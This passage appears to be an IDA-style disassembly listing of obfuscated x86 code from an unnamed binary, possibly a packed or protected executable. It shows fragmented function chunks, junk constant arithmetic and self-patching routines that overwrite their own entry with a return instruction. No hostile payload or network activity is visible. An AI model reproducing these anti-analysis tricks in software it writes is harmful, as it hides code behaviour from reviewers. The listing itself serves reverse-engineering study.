; FUNCTION CHUNK AT 00451E8A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455D8D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00459B90 SIZE 00000016 BYTES

		push	ebx
		push	32F95E78h
		pop	ebx
		sub	ebx, 0A0ADB561h
		jmp	loc_455D8D
sub_443862	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_443874:				; CODE XREF: sub_44CBA2-101C8j
		sub	edx, ebp
		popf
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_443877:				; CODE XREF: sub_43AEAA+13CCFj
					; sub_44CBA2:loc_458014j
		jns	loc_4393B2
		lea	eax, [ebp-12Dh]
		jmp	loc_453B97
; END OF FUNCTION CHUNK	FOR sub_43AEAA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	sub_453642
; ---------------------------------------------------------------------------
		push	4AD62DC8h
		pop	eax
		and	eax, 474D75A5h
		xor	eax, 4DADC8Dh
		jmp	loc_43AF3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B301

loc_4438A5:				; CODE XREF: sub_44B301:loc_44E2AAj
		shl	esi, 15h
		and	ebx, edx
		xor	esi, ecx
		jge	loc_44C6C1
		jmp	loc_44A9F6
; END OF FUNCTION CHUNK	FOR sub_44B301
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B4F

loc_4438B7:				; CODE XREF: dviuq5id:00440A92j
					; sub_442B4F:loc_454F80j
		rol	edi, 0Ch
		add	edi, 195023D5h
		xchg	edi, [esp+4+var_4]
		jmp	loc_45765F
; END OF FUNCTION CHUNK	FOR sub_442B4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440DA1

loc_4438C8:				; CODE XREF: sub_440DA1+Bj
		call	sub_449187
		mov	eax, 0A7C2536Ch
		call	sub_453642
		mov	ds:off_41D054, eax
		lea	eax, sub_440DA1
		mov	byte ptr [eax],	0C3h
		jmp	sub_440DA1
; ---------------------------------------------------------------------------

loc_4438EB:				; CODE XREF: sub_440DA1j
		pop	edx
		mov	eax, [esp-4+arg_0]
		jmp	loc_44E299
; END OF FUNCTION CHUNK	FOR sub_440DA1
; ---------------------------------------------------------------------------

loc_4438F4:				; CODE XREF: dviuq5id:0044458Dj
		mov	edx, esi
		pop	esi
		call	sub_444A5E
; START	OF FUNCTION CHUNK FOR sub_44A2CC

loc_4438FC:				; CODE XREF: sub_44A2CC-A16Ej
		jmp	sub_44A203
; END OF FUNCTION CHUNK	FOR sub_44A2CC

; =============== S U B	R O U T	I N E =======================================



sub_443901	proc near		; CODE XREF: sub_458BA4-19EE1p
					; dviuq5id:00459344j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439581 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045260F SIZE 0000001B BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	eax
		push	eax
		push	0F2FE5744h
		jmp	loc_439581
sub_443901	endp

; ---------------------------------------------------------------------------
		xor	esi, ecx
		jmp	loc_457454
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_443918:				; CODE XREF: sub_4477D7-63F5j
		jl	nullsub_77
		test	edi, ebp
		jmp	loc_4572D1
; END OF FUNCTION CHUNK	FOR sub_4477D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_443925:				; CODE XREF: sub_45288A+7E01j
		mov	eax, ebp
		xchg	eax, [esp+0]
		mov	ebp, esp
		push	ecx
		jmp	loc_449901
; END OF FUNCTION CHUNK	FOR sub_45288A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_443932:				; CODE XREF: sub_43FAE1+10CF8j
		jz	loc_439E9D
		jmp	loc_45617C
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445110

loc_44393D:				; CODE XREF: sub_445110-886Fj
		mov	ds:off_41D01C, eax
		lea	eax, sub_445110
		mov	byte ptr [eax],	0C3h
		jmp	sub_445110
; END OF FUNCTION CHUNK	FOR sub_445110

; =============== S U B	R O U T	I N E =======================================



sub_443951	proc near		; CODE XREF: sub_41A28F+132p
					; sub_443951+5j
					; DATA XREF: ...
		call	sub_44395C
		jmp	ds:off_41D020
sub_443951	endp


; =============== S U B	R O U T	I N E =======================================



sub_44395C	proc near		; CODE XREF: sub_443951p
					; sub_44395C:loc_455C72j ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043F63E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 004432E4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00444215 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A03C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044D005 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044DA87 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00453677 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00455C72 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004584D9 SIZE 00000023 BYTES

		jnb	loc_44A03C
		xchg	ecx, [esp+4+var_4]
		mov	edx, ecx
		jmp	loc_453677
sub_44395C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44250B

loc_44396C:				; CODE XREF: sub_44250B:loc_458D8Cj
		jz	loc_43F144
		jmp	loc_450154
; END OF FUNCTION CHUNK	FOR sub_44250B

; =============== S U B	R O U T	I N E =======================================



sub_443977	proc near		; CODE XREF: sub_4452A6:loc_443097p
					; dviuq5id:00449FB2j

; FUNCTION CHUNK AT 004391F9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004422BF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00458E6A SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	edx, [ebp+8]
		mov	[edx-18h], eax

loc_443981:				; CODE XREF: sub_456253:loc_455316j
		inc	dword ptr [ebp-4]
		mov	eax, [ebp+8]
		jmp	loc_458E6A
sub_443977	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44398C:				; CODE XREF: dviuq5id:loc_44941Ej
		pushf
		sbb	edi, esi
		cmp	edx, 2D40F53Eh
		jmp	loc_450DA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C0B

loc_44399A:				; CODE XREF: sub_447C0B:loc_444E43j
		jnz	loc_43E20C
		jmp	loc_451369
; END OF FUNCTION CHUNK	FOR sub_447C0B
; ---------------------------------------------------------------------------

loc_4439A5:				; CODE XREF: dviuq5id:0044B5A4j
		jnz	loc_44B0C0
		adc	ebp, 7390913Dh
		jmp	loc_44B0B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B24C

loc_4439B6:				; CODE XREF: sub_43B24C:loc_43D838j
		jnz	loc_44E54B
		jmp	loc_442261
; END OF FUNCTION CHUNK	FOR sub_43B24C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44818A

loc_4439C1:				; CODE XREF: sub_44818A+2B22j
		jnz	loc_44F863

loc_4439C7:				; CODE XREF: dviuq5id:loc_454A71j
					; dviuq5id:0045524Cj
		jmp	sub_43C4B5
; END OF FUNCTION CHUNK	FOR sub_44818A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CCEE

loc_4439CC:				; CODE XREF: sub_44CCEE+201j
		jmp	loc_453F59
; END OF FUNCTION CHUNK	FOR sub_44CCEE
; ---------------------------------------------------------------------------
		add	ebp, 69FD8C7Ch
		xchg	ebx, [eax]
		popf
		jmp	loc_44F863
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F9E7

loc_4439DF:				; CODE XREF: sub_43F9E7:loc_45A23Ej
		call	sub_447698
		sub	ecx, 954615F4h
		jmp	sub_457CB8
; END OF FUNCTION CHUNK	FOR sub_43F9E7

; =============== S U B	R O U T	I N E =======================================



sub_4439EF	proc near		; CODE XREF: sub_457B2A-17CE9p
					; dviuq5id:00451033j

; FUNCTION CHUNK AT 00442EFB SIZE 00000017 BYTES

		xchg	edi, [esp+0]
		pop	edi
		or	[ecx+edx], al
		mov	ecx, [ebp-1Ch]
		and	ecx, 7
		mov	al, 1
		shl	al, cl
		push	238679B7h
		jmp	loc_442EFB
sub_4439EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_443A0A	proc near		; CODE XREF: sub_441C84:loc_441C8Fp
					; dviuq5id:0045387Cj

; FUNCTION CHUNK AT 0044A293 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C567 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004531F8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454845 SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_451BB7
		mov	eax, 0CB39536Bh
		push	eax
		push	70273EADh
		pop	eax
		sub	eax, 40D3801Dh
		jmp	loc_44C567
sub_443A0A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_443A2A	proc near		; CODE XREF: dviuq5id:0043DF7Fj
					; dviuq5id:00455AC3p

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		xchg	edx, [esp-4+arg_0]
		jmp	loc_455B1D
sub_443A2A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		rol	edi, 0Fh
		shl	esi, 1Fh
		jmp	sub_457574
; ---------------------------------------------------------------------------
		mov	ds:off_41D0A8, eax
		lea	eax, sub_44C07B
		mov	byte ptr [eax],	0C3h
		jmp	sub_44C07B

; =============== S U B	R O U T	I N E =======================================



sub_443A55	proc near		; CODE XREF: sub_41088C+78p
					; sub_443A55+5j
					; DATA XREF: ...
		call	sub_446181
		jmp	ds:off_41D0AC
sub_443A55	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443C86

loc_443A60:				; CODE XREF: sub_443C86:loc_44AF6Bj
		mov	edi, [ecx]
		not	esi
		and	edx, eax
		sbb	edi, edx

loc_443A68:				; CODE XREF: dviuq5id:loc_44AF63j
		sub	ecx, 0B9F1DE25h
		add	ecx, 226BDAF1h
		add	ecx, ebp
		add	ecx, 0A06F0EE3h
		jmp	loc_43EE7F
; END OF FUNCTION CHUNK	FOR sub_443C86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443862

loc_443A81:				; CODE XREF: sub_443862:loc_44BBAAj
		jnz	loc_4425C4
		jmp	loc_45283D
; END OF FUNCTION CHUNK	FOR sub_443862
; ---------------------------------------------------------------------------

loc_443A8C:				; CODE XREF: dviuq5id:00452D0Dj
		jle	loc_44AEDC
; START	OF FUNCTION CHUNK FOR sub_451EC6

loc_443A92:				; CODE XREF: sub_451EC6:loc_452CE7j
		and	edi, 0EB276299h
		rol	edi, 1Fh
		add	edi, 0CEC4EBCCh
		xchg	edi, [esp+0]
		jmp	loc_43F3BF
; END OF FUNCTION CHUNK	FOR sub_451EC6

; =============== S U B	R O U T	I N E =======================================



sub_443AA9	proc near		; CODE XREF: sub_4442C5+Ap

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [esp-4+arg_0]
		call	sub_44E3BA
		retn
sub_443AA9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0F4B3h
dword_443AB8	dd 8FC67176h		; DATA XREF: sub_45861F+Aw
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440638

loc_443ABC:				; CODE XREF: sub_440638+1Bj
		jmp	loc_453635
; END OF FUNCTION CHUNK	FOR sub_440638

; =============== S U B	R O U T	I N E =======================================



sub_443AC1	proc near		; CODE XREF: sub_4054D7+49p
					; sub_405543+49p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043991D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B072 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043CDA4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00440BF0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442216 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004445BE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00444AB5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044594E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044762A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044C5FB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D23B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044D474 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044E728 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044F24A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044FF54 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004502EE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00451B90 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045240A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004529BC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00456147 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0045811F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004593F3 SIZE 00000005 BYTES

		jns	loc_43CDA4
		jmp	loc_4445BE
sub_443AC1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	edx, 92058671h
		jmp	sub_450B4F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_313. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450519

loc_443AD8:				; CODE XREF: sub_450519:loc_43C07Bj
					; dviuq5id:0043E66Cj
		add	edx, 0EDA91B5Ah
		cmp	edx, 0A7127EB5h
		jmp	loc_43CA75
; END OF FUNCTION CHUNK	FOR sub_450519
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_256. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_443AEA:				; CODE XREF: dviuq5id:0043D59Aj
		push	offset sub_44F5C4
		jmp	loc_454322
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44952D

loc_443AF4:				; CODE XREF: sub_44952D:loc_4504E5j
		pop	edi
		ror	esi, 11h
		or	ebx, 0CE39BE19h
		jmp	loc_43C868
; END OF FUNCTION CHUNK	FOR sub_44952D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_443B03:				; CODE XREF: sub_439C09:loc_4520B7j
		jnz	loc_43D619
		jg	loc_444BCA
; END OF FUNCTION CHUNK	FOR sub_439C09
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_443B0F:				; CODE XREF: sub_441DDA:loc_44647Ej
		jle	loc_44661B
		jmp	loc_43D616
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_443B1A:				; CODE XREF: sub_448424:loc_452691j
		cmp	dword ptr [ebp-4], 0
		jz	loc_43919C
		jmp	loc_452918
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_443B29:				; CODE XREF: sub_44AB80:loc_4415EEj
		add	edx, eax
		rol	edx, 5
		xor	edx, esi
		rol	edx, 5
		add	edx, edi
		jmp	loc_43C336
; END OF FUNCTION CHUNK	FOR sub_44AB80
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_416. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_443B3B:				; CODE XREF: dviuq5id:0045A5E0j
		jmp	nullsub_495
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456A43

loc_443B40:				; CODE XREF: sub_456A43:loc_456A5Bj
		ror	edx, 1Ah
		pop	edx
		jmp	loc_444BDA
; END OF FUNCTION CHUNK	FOR sub_456A43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A813

loc_443B49:				; CODE XREF: sub_43A813+1EB96j
		rol	eax, 5
		add	eax, 395C157h
		add	eax, ebp
		add	eax, 9A1B9F41h
		mov	eax, [eax]
		jmp	loc_444740
; END OF FUNCTION CHUNK	FOR sub_43A813
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_443B61:				; CODE XREF: sub_439013+1B88Fj
					; sub_439013:loc_456A60j
		lea	eax, [ebp-14h]
		push	eax
		call	sub_43A101
		push	edx
		jmp	loc_448F23
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457A3C

loc_443B70:				; CODE XREF: sub_457A3C-12FFAj
					; dviuq5id:00444A59j
		add	ecx, 1B1D16B7h
		mov	ecx, [ecx]
		or	[ecx+edx], al
		mov	ecx, [ebp-20h]
		and	ecx, 7
		mov	al, 1
		shl	al, cl
		mov	edx, [ebp-20h]
		jmp	loc_457836
; END OF FUNCTION CHUNK	FOR sub_457A3C
; ---------------------------------------------------------------------------

loc_443B8D:				; DATA XREF: sub_4564F1o
		jns	loc_4468FA
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_43C19F
; ---------------------------------------------------------------------------
		shr	ecx, 0Dh
		jmp	sub_4452A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F35

loc_443BA4:				; CODE XREF: sub_445F35+136EBj
		or	ecx, ebp
		test	ebx, 48D972A2h
		jmp	loc_44ECA1
; END OF FUNCTION CHUNK	FOR sub_445F35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_443BB1:				; CODE XREF: sub_44CFBC+4F7Dj
		jl	loc_445154
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; START	OF FUNCTION CHUNK FOR sub_44B876

loc_443BB7:				; CODE XREF: sub_44B876+6j
		jmp	nullsub_71
; END OF FUNCTION CHUNK	FOR sub_44B876
; ---------------------------------------------------------------------------
		xor	esi, edi
		ror	ebp, 0Dh
		jmp	loc_445153
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3F1

loc_443BC6:				; CODE XREF: sub_43F3F1+Bj
		sub	eax, 104BCE62h
		test	eax, 4000h
		jmp	loc_454AA5
; END OF FUNCTION CHUNK	FOR sub_43F3F1

; =============== S U B	R O U T	I N E =======================================



sub_443BD7	proc near		; DATA XREF: sub_44FCBC:loc_444FC2o

arg_0		= dword	ptr  4

		add	ecx, 8B749D48h
		popf
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_453642
sub_443BD7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C50A

loc_443BE6:				; CODE XREF: sub_44C50A:loc_452A0Dj
		add	ebx, 0E786042Ch
		ror	edx, 3
		pushf
		mov	[esi], edi
		jmp	loc_44A251
; END OF FUNCTION CHUNK	FOR sub_44C50A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B70C

loc_443BF7:				; CODE XREF: sub_44B70C-FD6Cj
		jb	loc_457E50
		rol	edi, 1Ah
		sbb	edx, ebp

loc_443C02:				; CODE XREF: sub_44B70C:loc_441ACAj
		push	7791DCE4h
		jmp	loc_43F10C
; END OF FUNCTION CHUNK	FOR sub_44B70C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457EED

loc_443C0C:				; CODE XREF: sub_457EED:loc_441A45j
		mov	[ecx], edx
		sub	ebx, eax
		push	esi
		jmp	loc_442CCB
; END OF FUNCTION CHUNK	FOR sub_457EED
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_453126
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_300. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CD6F

loc_443C1D:				; CODE XREF: sub_44CD6F+10j
		jmp	nullsub_85
; END OF FUNCTION CHUNK	FOR sub_44CD6F
; ---------------------------------------------------------------------------
		sbb	ecx, edx
		jmp	sub_441B05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_443C29:				; CODE XREF: sub_446181+10C0Fj
		jz	loc_450604

loc_443C2F:				; CODE XREF: sub_449222+FCA0j
		jmp	loc_43A4FF
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E3C2

loc_443C34:				; CODE XREF: sub_44E3C2+Dj
		jmp	loc_4396CD
; END OF FUNCTION CHUNK	FOR sub_44E3C2
; ---------------------------------------------------------------------------
		pushf
		and	edx, 4B1F843Eh
		cmp	ebx, ecx
		jmp	loc_451C81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45169D

loc_443C47:				; CODE XREF: sub_45169D:loc_439FE7j
		add	eax, 907EE872h
		add	eax, ebp
		add	eax, 0D378A102h
		mov	eax, [eax]
		cmp	dword ptr [eax+3Ch], 0
		jz	loc_43F144
		jmp	loc_456782
; END OF FUNCTION CHUNK	FOR sub_45169D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4559CE

loc_443C66:				; CODE XREF: sub_4559CE+3A07j
		shl	ebx, 2
		test	esi, 336625F0h
		jmp	loc_44A5BE
; END OF FUNCTION CHUNK	FOR sub_4559CE
; ---------------------------------------------------------------------------

loc_443C74:				; CODE XREF: dviuq5id:0044A7BBj
		cdq
		test	ecx, 0D28CB7ADh
		jmp	loc_44DC62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_443C80:				; CODE XREF: dviuq5id:004557ECj
					; sub_44AB80:loc_4577B8j
		adc	edi, 0AAD8D725h
; END OF FUNCTION CHUNK	FOR sub_44AB80

; =============== S U B	R O U T	I N E =======================================



sub_443C86	proc near		; CODE XREF: sub_448FC7:loc_44BC54p

; FUNCTION CHUNK AT 00439E76 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EE7F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F7D3 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00443A60 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00449F4F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044AF6B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B26A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044CA8A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D3E2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E719 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004503BB SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44CA92
		jmp	loc_44D3E2
sub_443C86	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450B01

loc_443C9B:				; CODE XREF: sub_450B01:loc_45283Dj
		xchg	eax, ebp
		mov	[eax], ecx
		xor	ebx, edi
		jmp	loc_4425BF
; END OF FUNCTION CHUNK	FOR sub_450B01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_443CA6:				; CODE XREF: sub_448424+58B2j
		rol	ecx, 0Eh
		add	ecx, 2BBBD6B9h
		call	sub_455932

loc_443CB4:				; DATA XREF: sub_440828:loc_440831o
		push	edx
		call	sub_453ECC
		push	0FF8E015Eh
		pop	eax
		and	eax, 8A65BD8Bh
		xor	eax, 0EDF2273Ch
		or	eax, 0DEDAF995h
		xor	eax, 5AAB62A5h
		jmp	loc_44D0D1
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_443CDD:				; CODE XREF: sub_43BD72+Cj
		mov	eax, [eax]
		push	edi
		mov	edi, eax
		xchg	edi, [esp+0]
		call	sub_44AB80
		jmp	loc_43A77B
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------
		jmp	loc_440EEB
; ---------------------------------------------------------------------------

loc_443CF4:				; CODE XREF: dviuq5id:loc_442D93j
		call	sub_4406AC

loc_443CF9:				; CODE XREF: dviuq5id:0044CB67j
		and	ebx, 0AFC5E3E6h

; =============== S U B	R O U T	I N E =======================================



sub_443CFF	proc near		; CODE XREF: sub_450686:loc_44C8ADp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004414B8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044FBE0 SIZE 00000014 BYTES

		xchg	ecx, [esp+4+var_4]
		pop	ecx
		push	edx
		mov	edx, edi
		xchg	edx, [esp+4+var_4]
		push	eax
		jmp	loc_44FBE0
sub_443CFF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_443D0F	proc near		; CODE XREF: dviuq5id:0044BEB7j
					; sub_452BBF+9p
		xchg	esi, [esp+0]
		pop	esi
		pop	eax
		jmp	sub_4463B7
sub_443D0F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C085

loc_443D19:				; CODE XREF: sub_44C085+4j
		xor	ecx, 1EB1D379h
		rol	edx, 16h
		push	ebx
		pop	ecx
		jmp	loc_441E90
; END OF FUNCTION CHUNK	FOR sub_44C085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453654

loc_443D29:				; CODE XREF: dviuq5id:loc_44AA82j
					; sub_453654+7j
		mov	eax, [ebp+8]
		push	eax
		call	sub_4512BC
		cmp	dword ptr [ebp-8], 0
		jz	loc_4504CA
		jmp	loc_4527B4
; END OF FUNCTION CHUNK	FOR sub_453654
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_238. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_443D42:				; CODE XREF: sub_454094-16291j
		pop	esi
		sub	esi, 9812ED93h
		rol	esi, 1Eh
		add	esi, 0E8B9FB05h
		popf
		xchg	esi, [esp+10h+var_10]
		jmp	loc_456D2E
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
		push	89232A1Ch
		pop	edx
		sub	edx, 2C081BEEh
		and	edx, 1D14EE59h

loc_443D6D:				; CODE XREF: dviuq5id:0045971Aj
		xor	edx, 0DF21F890h
		call	sub_4437DF
; START	OF FUNCTION CHUNK FOR sub_43ED10

loc_443D78:				; CODE XREF: sub_43ED10:loc_453E03j
		jmp	loc_45242D
; END OF FUNCTION CHUNK	FOR sub_43ED10
; ---------------------------------------------------------------------------

loc_443D7D:				; CODE XREF: dviuq5id:0044FFCEj
		jmp	loc_43A0E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_443D82:				; CODE XREF: sub_443F7F+E29j
		pop	eax
		or	eax, 0D6BE179Fh
		rol	eax, 0Ch
		add	eax, 32A493D3h
		push	esi
		push	0D406F203h
		jmp	loc_44F8C7
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------
		or	ecx, 28870C1h
		shl	edi, 1Dh
		jmp	sub_442C59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_443DAB:				; CODE XREF: sub_43FDFB:loc_4450BBj
		jz	loc_442ED9
		jmp	loc_4405F2
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455518

loc_443DB6:				; CODE XREF: sub_455518:loc_447E9Aj
		and	ebx, 0D484EF67h
		xor	ebx, 0A55F47D5h
		sub	eax, ebx
		pop	ebx
		ror	eax, 5
		mov	edx, [esp-4+arg_0]
		push	edx
		jmp	loc_4576C5
; END OF FUNCTION CHUNK	FOR sub_455518
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459490

loc_443DD1:				; CODE XREF: sub_459490:loc_449A43j
		and	ecx, eax
		xchg	eax, [esp+0]
		mov	ecx, eax
		pop	eax
		pop	edx
; END OF FUNCTION CHUNK	FOR sub_459490
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_443DDA:				; CODE XREF: sub_43A160+13B86j
		pop	ebx
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_4425D4
; END OF FUNCTION CHUNK	FOR sub_43A160

; =============== S U B	R O U T	I N E =======================================



sub_443DE3	proc near		; CODE XREF: sub_458D34j
					; DATA XREF: sub_45753F:loc_458D2Ao
		xchg	edi, [esp+0]
		call	sub_43B297
sub_443DE3	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_443DEB:				; CODE XREF: sub_441DDA-86DBj
		jz	loc_43F791
		jmp	loc_440FC0
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
		jmp	loc_457389
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-8], 1
; START	OF FUNCTION CHUNK FOR sub_43BAB4

loc_443E02:				; CODE XREF: dviuq5id:00447D25j
					; sub_43BAB4:loc_458F92j
		push	0BB390E3Bh
		pop	eax
		jmp	loc_44F95F
; END OF FUNCTION CHUNK	FOR sub_43BAB4
; ---------------------------------------------------------------------------
